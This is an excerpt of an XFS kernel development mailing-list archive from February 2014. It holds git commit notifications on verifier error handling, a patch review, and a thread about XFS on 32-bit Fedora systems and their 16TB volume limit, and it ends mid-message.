X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id A57347F52; Thu, 27 Feb 2014 00:37:21 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-2-12953-g14e637c X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: f13780692e659df3623461ca5398b66739a6c56f X-Git-Newrev: 14e637ca53fa257cbff7f73981dd87c457a6be1e Message-Id: <20140227063721.A57347F52@oss.sgi.com> Date: Thu, 27 Feb 2014 00:37:20 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 14e637c Merge branch 'xfs-verifier-cleanup' into for-next 181d1a1 Merge branch 'xfs-stack-fixes' into for-next 93a8614 xfs: fix directory inode iolock lockdep false positive a1358aa xfs: allocate xfs_da_args to reduce stack footprint f876e44 xfs: always do log forces via the workqueue ce5028c xfs: modify verifiers to differentiate CRC from other errors db9355c xfs: print useful caller information in xfs_error_report ca23f8f xfs: add xfs_verifier_error() f1dbcd7 xfs: add helper for updating checksums on xfs_bufs 5158217 xfs: add helper for verifying checksums on xfs_bufs 533b81c xfs: Use defines for CRC offsets in all cases e0d2c23 xfs: skip pointless CRC updates after verifier failures from f13780692e659df3623461ca5398b66739a6c56f (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 14e637ca53fa257cbff7f73981dd87c457a6be1e Merge: 181d1a1 ce5028c Author: Dave Chinner Date: Thu Feb 27 16:53:00 2014 +1100 Merge branch 'xfs-verifier-cleanup' into for-next commit 181d1a1134f5d4924c307ea90708e55c80eaf3b0 Merge: f137806 93a8614 Author: Dave Chinner Date: Thu Feb 27 16:52:44 2014 +1100 Merge branch 'xfs-stack-fixes' into for-next commit ce5028cfe3ca48695b6a128638fe224426d37ebe Author: Eric Sandeen Date: Thu Feb 27 15:23:10 2014 +1100 xfs: modify verifiers to differentiate CRC from other errors Modify all read & write verifiers to differentiate between CRC errors and other inconsistencies. This sets the appropriate error number on bp->b_error, and then calls xfs_verifier_error() if something went wrong. That function will issue the appropriate message to the user. Signed-off-by: Eric Sandeen Reviewed-by: Brian Foster Signed-off-by: Dave Chinner commit db9355c296eb71271bb3807ad4a9d43f6b3c35d3 Author: Eric Sandeen Date: Thu Feb 27 15:21:37 2014 +1100 xfs: print useful caller information in xfs_error_report xfs_error_report used to just print the hex address of the caller; %pF will give us something more human-readable. Signed-off-by: Eric Sandeen Reviewed-by: Jie Liu Signed-off-by: Dave Chinner commit ca23f8fdd6a0dd37b3909ce7709c491f0c26399d Author: Eric Sandeen Date: Thu Feb 27 15:21:07 2014 +1100 xfs: add xfs_verifier_error() We want to distinguish between corruption, CRC errors, etc. In addition, the full stack trace on verifier errors seems less than helpful; it looks more like an oops than corruption. Create a new function to specifically alert the user to verifier errors, which can differentiate between EFSCORRUPTED and CRC mismatches. It doesn't dump stack unless the xfs error level is turned up high. Define a new error message (EFSBADCRC) to clearly identify CRC errors. (Defined to EBADMSG, bad message) Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit f1dbcd7e38c80c2165516b4432231b46f1adc76c Author: Eric Sandeen Date: Thu Feb 27 15:18:23 2014 +1100 xfs: add helper for updating checksums on xfs_bufs Many/most callers of xfs_update_cksum() pass bp->b_addr and BBTOB(bp->b_length) as the first 2 args. Add a helper which can just accept the bp and the crc offset, and work it out on its own, for brevity. Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 5158217058fc2cdb92e05b9bb3c1a350d2a51ed9 Author: Eric Sandeen Date: Thu Feb 27 15:17:27 2014 +1100 xfs: add helper for verifying checksums on xfs_bufs Many/most callers of xfs_verify_cksum() pass bp->b_addr and BBTOB(bp->b_length) as the first 2 args. Add a helper which can just accept the bp and the crc offset, and work it out on its own, for brevity. Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 533b81c875589ad0a2fc116991534b4601195253 Author: Eric Sandeen Date: Thu Feb 27 15:15:27 2014 +1100 xfs: Use defines for CRC offsets in all cases Some calls to crc functions used useful #defines, others used awkward offsetof() constructs. Switch them all to #define to make things a bit cleaner. Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit e0d2c23a253149b4f8a6100f94ca62ddc4b2ae84 Author: Eric Sandeen Date: Thu Feb 27 15:14:31 2014 +1100 xfs: skip pointless CRC updates after verifier failures Most write verifiers don't update CRCs after the verifier has failed and the buffer has been marked in error. These two didn't, but should. Add returns to the verifier failure block, since the buffer won't be written anyway. Signed-off-by: Eric Sandeen Reviewed-by: Jie Liu Signed-off-by: Dave Chinner ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_ag.h | 6 + fs/xfs/xfs_alloc.c | 45 +++--- fs/xfs/xfs_alloc_btree.c | 16 ++- fs/xfs/xfs_attr_leaf.c | 17 +-- fs/xfs/xfs_attr_remote.c | 15 +- fs/xfs/xfs_bmap_btree.c | 16 +-- fs/xfs/xfs_btree.c | 14 +- fs/xfs/xfs_buf.h | 14 ++ fs/xfs/xfs_da_btree.c | 17 +-- fs/xfs/xfs_dinode.h | 2 + fs/xfs/xfs_dir2.c | 342 +++++++++++++++++++++++++++----------------- fs/xfs/xfs_dir2_block.c | 17 +-- fs/xfs/xfs_dir2_data.c | 20 +-- fs/xfs/xfs_dir2_leaf.c | 17 +-- fs/xfs/xfs_dir2_node.c | 17 +-- fs/xfs/xfs_dquot_buf.c | 11 +- fs/xfs/xfs_error.c | 27 +++- fs/xfs/xfs_error.h | 1 + fs/xfs/xfs_format.h | 2 + fs/xfs/xfs_ialloc.c | 24 ++-- fs/xfs/xfs_ialloc_btree.c | 16 ++- fs/xfs/xfs_inode_buf.c | 7 +- fs/xfs/xfs_iops.c | 14 ++ fs/xfs/xfs_linux.h | 2 + fs/xfs/xfs_log_cil.c | 52 +++++-- fs/xfs/xfs_sb.c | 16 +-- fs/xfs/xfs_sb.h | 2 + fs/xfs/xfs_symlink_remote.c | 16 +-- 28 files changed, 467 insertions(+), 298 deletions(-) hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Thu Feb 27 00:37:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 6F19D7F56; Thu, 27 Feb 2014 00:37:34 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-verifier-cleanup, created. xfs-for-linus-v3.14-rc1-2-12933-gce5028c X-Git-Refname: refs/heads/xfs-verifier-cleanup X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: ce5028cfe3ca48695b6a128638fe224426d37ebe Message-Id: <20140227063734.6F19D7F56@oss.sgi.com> Date: Thu, 27 Feb 2014 00:37:33 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-verifier-cleanup has been created at ce5028cfe3ca48695b6a128638fe224426d37ebe (commit) - Log ----------------------------------------------------------------- ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From david@fromorbit.com Thu Feb 27 00:42:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 837E47F3F for ; Thu, 27 Feb 2014 00:42:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6B4148F8037 for ; Wed, 26 Feb 2014 22:42:37 -0800 (PST) X-ASG-Debug-ID: 1393483355-04cb6c567888a80001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 675238xQEACfvQCs for ; Wed, 26 Feb 2014 22:42:35 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApkKAHvdDlN5LJYe/2dsb2JhbABagwaDQ7kDhVSBFBd0giUBAQU6HCMQCAMVAgEJJQ8FJQMTDhOHeMohFxaOPgeENwSYN5Iqg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 17:12:35 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIufl-00079k-4L; Thu, 27 Feb 2014 17:42:21 +1100 Date: Thu, 27 Feb 2014 17:42:21 +1100 From: Dave Chinner To: sat Cc: xfs@oss.sgi.com, Rob Landley Subject: Re: [PATCH] XFS: fix the description of 'allocsize=' mount option Message-ID: <20140227064221.GJ29907@dastard> X-ASG-Orig-Subj: Re: [PATCH] XFS: fix the description of 'allocsize=' mount option References: <530AE0E5.1090707@jp.fujitsu.com> <20140224120629.GN4317@dastard> <530D6FE3.2040406@jp.fujitsu.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530D6FE3.2040406@jp.fujitsu.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393483355 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145560 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 26, 2014 at 01:38:59PM +0900, sat wrote: > Hi Dave, > > >Actually, it isn't. The initial size of dynamic prealloc is > >determined by a set of heuristics based on file size, filesystem > >geometry and the existing extents on the file. It uses a default > >of 64k if no optimisation heuristics trigger. > > I see. I should have read the code more carefully. > > --- > From: Satoru Takeuchi > Subject: [PATCH] XFS: remove the description about the default value of "allocsize=" mount option > > The end-of-file preallocation size is dynamic by default. > So there is no static default size specified by "allocsize=" > mount option and the description about the default size > should be removed. > > Signed-off-by: Satoru Takeuchi > Cc: Dave Chinner > Cc: Rob Landley Looks good. Reviewed-by: Dave Chinner Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 27 01:12:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 934857F3F for ; Thu, 27 Feb 2014 01:12:17 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1D4D6AC003 for ; Wed, 26 Feb 2014 23:12:13 -0800 (PST) X-ASG-Debug-ID: 1393485128-04bdf05daa8f660001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 6UvsOeqk6Y1Xqcmm for ; Wed, 26 Feb 2014 23:12:08 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApkKAJvkDlN5LJYe/2dsb2JhbABagwaDQ7kDhVSBFBd0giUBAQQBOhwjBQsIAxgJJQ8FJQMhE4dxB8oiFxaOPgeENwSYN4pUh1aDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 17:42:07 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIv8M-0007Dg-78; Thu, 27 Feb 2014 18:11:54 +1100 Date: Thu, 27 Feb 2014 18:11:54 +1100 From: Dave Chinner To: Eric Sandeen Cc: Christoph Hellwig , Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs Message-ID: <20140227071154.GK29907@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs References: <530C29C7.90001@redhat.com> <20140226021114.GA26022@infradead.org> <530E3282.7000703@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530E3282.7000703@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393485128 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145560 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 26, 2014 at 12:29:22PM -0600, Eric Sandeen wrote: > On 2/25/14, 8:11 PM, Christoph Hellwig wrote: > > On Mon, Feb 24, 2014 at 11:27:35PM -0600, Eric Sandeen wrote: > >> xfs_set_maxicount() overflowed fairly easily for large filesystems > >> and large maxicount; we started out by multiplying dblocks by > >> the percentage, *then* dividing by 100, and never checked for > >> an overflow. The calculations were also, IMHO, a little hard > >> to follow. > > > > Would be useful to get this test case into xfstests.. > > Ok so I was going on Dave's assertion about that. ;) > > To overflow, we'd need dblocks * 100 to be > 2^64-1: > > so dblocks would need to be > (2^64-1)/100 > > for 4k blocks that's 655 exabytes. Maybe not so possible after all ;) Until the block count is corrupted by fsfuzzer? ;) > Dave, maybe just removing the open-code is enough here. Sure, but I still like the conversion to use mult_frac.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 27 01:21:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=3.0 required=5.0 tests=TVD_SUBJ_NUM_OBFU_MINFP autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 278697F3F for ; Thu, 27 Feb 2014 01:21:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D6214304077 for ; Wed, 26 Feb 2014 23:21:37 -0800 (PST) X-ASG-Debug-ID: 1393485695-04bdf05da98ff20001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id k9i2Tzk3sh7NZTDU for ; Wed, 26 Feb 2014 23:21:35 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkUWAPTmDlN5LJYe/2dsb2JhbABagwY7gwileASTB4VUgRQXdIIlAQEEATocIwULCAMOCgklDwUlAyETFIddBw7KLRaNZgEOSQeENwSYN4EzkHeDQSiBLAEf Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 17:51:34 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIvHW-0007F4-8U; Thu, 27 Feb 2014 18:21:22 +1100 Date: Thu, 27 Feb 2014 18:21:22 +1100 From: Dave Chinner To: Chris Murphy Cc: "xfs@oss.sgi.com" Subject: Re: XFS on Fedora i686, armv7hl Message-ID: <20140227072122.GL29907@dastard> X-ASG-Orig-Subj: Re: XFS on Fedora i686, armv7hl References: <8A28EF88-012E-4036-BDB6-E76B1CC569A7@colorremedies.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <8A28EF88-012E-4036-BDB6-E76B1CC569A7@colorremedies.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393485695 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145561 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 26, 2014 at 10:37:59PM -0700, Chris Murphy wrote: > Hi, > > Fedora is considering XFS as their default file system. They > support three primary architectures: x86_64, i686, and armv7hl. > Do XFS devs have any reservations about XFS as a default file > system on either i686, or arm? i686 is regularly tested on upstream dev kernels. ARM is less tested as it's not the primary development platform for anyone - we tend to rely on community feedback for arm because the hardware is so wide and varied and there are some crackpot CPU cache architectures out there in ARM land that we simply can't test against.... > So far the only thing I've run into with kernel > 3.13.4-200.fc20.i686+PAE will not mount an XFS volume larger than > 16TB. That's not an XFS limit - that's a limit of the block device caused by the page cache address space being limited to 16TB. Techinically the XFS kernel doesn't have such a limit because it doesn't use the block device address space to index or cache metadata, but that doesn't help anyone if the userspace tools don't work on anything larger than a 16TB block device. As it is, you're crazy if you put more than a couple of TB of storage on a 32 bit system. The machiens simply don't have the process address space to repair a filesystem larger than a few terabytes (i.e. 2GB RAM limit). That holds true for any filesystem - ext3 and ext4 also have the same problems when running e2fsck... > But I haven't tried filling a < 16TB volume with a > significant amount of data while running 32bit, and anyway it's > just easier to ask if there are other gotchas, or reservations > about this combination. It'll work just as well as ext3 and ext4 in such situations. That doesn't mean we recommend that you do it ;) > XFS (sdc): file system too large to be mounted on this system. > [snip] XFS (sdc): Internal error xfs_sb_read_verify at line 630 of > file fs/xfs/xfs_sb.c. Caller 0xf8b19e1c [1] > > > Thanks, > > > Chris Murphy > > > [1] The too large warning happens with ext4 at mount time also. A *nod*. For the same reasons as XFS is limited to 16TB. > Btrfs volume mounts OK, although I don't know if it actually > withstands significant use. > http://paste.fedoraproject.org/80784/93470280/ I bet that's because nobody has filled a btrfs filesystem past the point where it tries to access beyond 16TB on a 32 bit system and so it's never been reported as a bug... :/ Cheers, Dave. -- Dave Chinner david@fromorbit.com From lists@colorremedies.com Thu Feb 27 02:12:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=3.0 required=5.0 tests=TVD_SUBJ_NUM_OBFU_MINFP autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 011647F3F for ; Thu, 27 Feb 2014 02:12:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 84AC7AC003 for ; Thu, 27 Feb 2014 00:12:32 -0800 (PST) X-ASG-Debug-ID: 1393488749-04bdf05da9928e0001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id fSueFGiEaiSLuxGu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Feb 2014 00:12:30 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:60863 helo=[192.168.1.145]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WIw4z-000gpu-B8; Thu, 27 Feb 2014 01:12:29 -0700 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: XFS on Fedora i686, armv7hl From: Chris Murphy X-ASG-Orig-Subj: Re: XFS on Fedora i686, armv7hl In-Reply-To: <20140227072122.GL29907@dastard> Date: Thu, 27 Feb 2014 01:12:28 -0700 Cc: "xfs@oss.sgi.com" Content-Transfer-Encoding: quoted-printable Message-Id: References: <8A28EF88-012E-4036-BDB6-E76B1CC569A7@colorremedies.com> <20140227072122.GL29907@dastard> To: Dave Chinner X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1393488750 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145562 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Feb 27, 2014, at 12:21 AM, Dave Chinner wrote: > On Wed, Feb 26, 2014 at 10:37:59PM -0700, Chris Murphy wrote: >> Hi, >>=20 >> Fedora is considering XFS as their default file system. They >> support three primary architectures: x86_64, i686, and armv7hl. >> Do XFS devs have any reservations about XFS as a default file >> system on either i686, or arm? >=20 > i686 is regularly tested on upstream dev kernels. ARM is less tested > as it's not the primary development platform for anyone - we tend to > rely on community feedback for arm because the hardware is so wide > and varied and there are some crackpot CPU cache architectures out > there in ARM land that we simply can't test against=85. OK good, I'll post the URL for your response to the relevant Fedora = lists. >=20 >> So far the only thing I've run into with kernel >> 3.13.4-200.fc20.i686+PAE will not mount an XFS volume larger than >> 16TB. >=20 > That's not an XFS limit - that's a limit of the block device caused > by the page cache address space being limited to 16TB. Techinically > the XFS kernel doesn't have such a limit because it doesn't use the > block device address space to index or cache metadata, but that > doesn't help anyone if the userspace tools don't work on anything > larger than a 16TB block device. Are the kernel messages regarding corruption slightly misleading? i.e. = the file system on-disk isn't corrupt, but the kernel's view of it is = distorted because of the page cache limit? Someone has a weird drunken = bet, because I can't think of a good reason why, and they mount a valued = 16+TB XFS volume from a 64-bit system on a 32-bit system, they don't = really have to run xfs_repair once putting it back on the 64-bit system, = do they? >=20 > As it is, you're crazy if you put more than a couple of TB of > storage on a 32 bit system. The machiens simply don't have the > process address space to repair a filesystem larger than a few > terabytes (i.e. 2GB RAM limit). That holds true for any filesystem - > ext3 and ext4 also have the same problems when running e2fsck=85 Right no kidding. >=20 >> But I haven't tried filling a < 16TB volume with a >> significant amount of data while running 32bit, and anyway it's >> just easier to ask if there are other gotchas, or reservations >> about this combination. >=20 > It'll work just as well as ext3 and ext4 in such situations. That > doesn't mean we recommend that you do it ;) Sure. It's good to have that feedback. >=20 > I bet that's because nobody has filled a btrfs filesystem past the > point where it tries to access beyond 16TB on a 32 bit system and so > it's never been reported as a bug=85 :/ That makes sense. Chris Murphy From david@fromorbit.com Thu Feb 27 02:37:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=3.0 required=5.0 tests=TVD_SUBJ_NUM_OBFU_MINFP autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3541C7F3F for ; Thu, 27 Feb 2014 02:37:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 25DAB30406A for ; Thu, 27 Feb 2014 00:37:07 -0800 (PST) X-ASG-Debug-ID: 1393490225-04cbb066e58ef90001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Ggcv28TJ2CU5h73t for ; Thu, 27 Feb 2014 00:37:06 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkwWALv4DlN5LJYe/2dsb2JhbABagwY7gwhSpSYEkweFVIEVF3SCJQEBBAEjDwEjIwULCAMOCgICBSECAg8FJQMhExSHXQcOqR6hIBaBE4xTAVcHgm6BSQSYN5Iqg0EogSwBHw Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 19:07:05 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIwSY-0007Qi-CA; Thu, 27 Feb 2014 19:36:50 +1100 Date: Thu, 27 Feb 2014 19:36:50 +1100 From: Dave Chinner To: Chris Murphy Cc: "xfs@oss.sgi.com" Subject: Re: XFS on Fedora i686, armv7hl Message-ID: <20140227083650.GM29907@dastard> X-ASG-Orig-Subj: Re: XFS on Fedora i686, armv7hl References: <8A28EF88-012E-4036-BDB6-E76B1CC569A7@colorremedies.com> <20140227072122.GL29907@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393490225 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145562 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 27, 2014 at 01:12:28AM -0700, Chris Murphy wrote: > On Feb 27, 2014, at 12:21 AM, Dave Chinner > wrote: > > On Wed, Feb 26, 2014 at 10:37:59PM -0700, Chris Murphy wrote: > >> Hi, > >> > >> Fedora is considering XFS as their default file system. They > >> support three primary architectures: x86_64, i686, and armv7hl. > >> Do XFS devs have any reservations about XFS as a default file > >> system on either i686, or arm? > > > > i686 is regularly tested on upstream dev kernels. ARM is less > > tested as it's not the primary development platform for anyone - > > we tend to rely on community feedback for arm because the > > hardware is so wide and varied and there are some crackpot CPU > > cache architectures out there in ARM land that we simply can't > > test against…. > > OK good, I'll post the URL for your response to the relevant > Fedora lists. > > > > >> So far the only thing I've run into with kernel > >> 3.13.4-200.fc20.i686+PAE will not mount an XFS volume larger > >> than 16TB. > > > > That's not an XFS limit - that's a limit of the block device > > caused by the page cache address space being limited to 16TB. > > Techinically the XFS kernel doesn't have such a limit because it > > doesn't use the block device address space to index or cache > > metadata, but that doesn't help anyone if the userspace tools > > don't work on anything larger than a 16TB block device. > > Are the kernel messages regarding corruption slightly misleading? Yes. > i.e. the file system on-disk isn't corrupt, but the kernel's view > of it is distorted because of the page cache limit? Someone has a > weird drunken bet, because I can't think of a good reason why, and > they mount a valued 16+TB XFS volume from a 64-bit system on a > 32-bit system, they don't really have to run xfs_repair once > putting it back on the 64-bit system, do they? No, it's not corrupt. The verifier on the superblock has been a bit heavy-handed in considering bad configurations such as this as corruption. i.e. it's out of range, it must be corrupt! However, the failure we are returning is not corruption, but EFBIG, and hence this patch just went into 3.14-rc3: 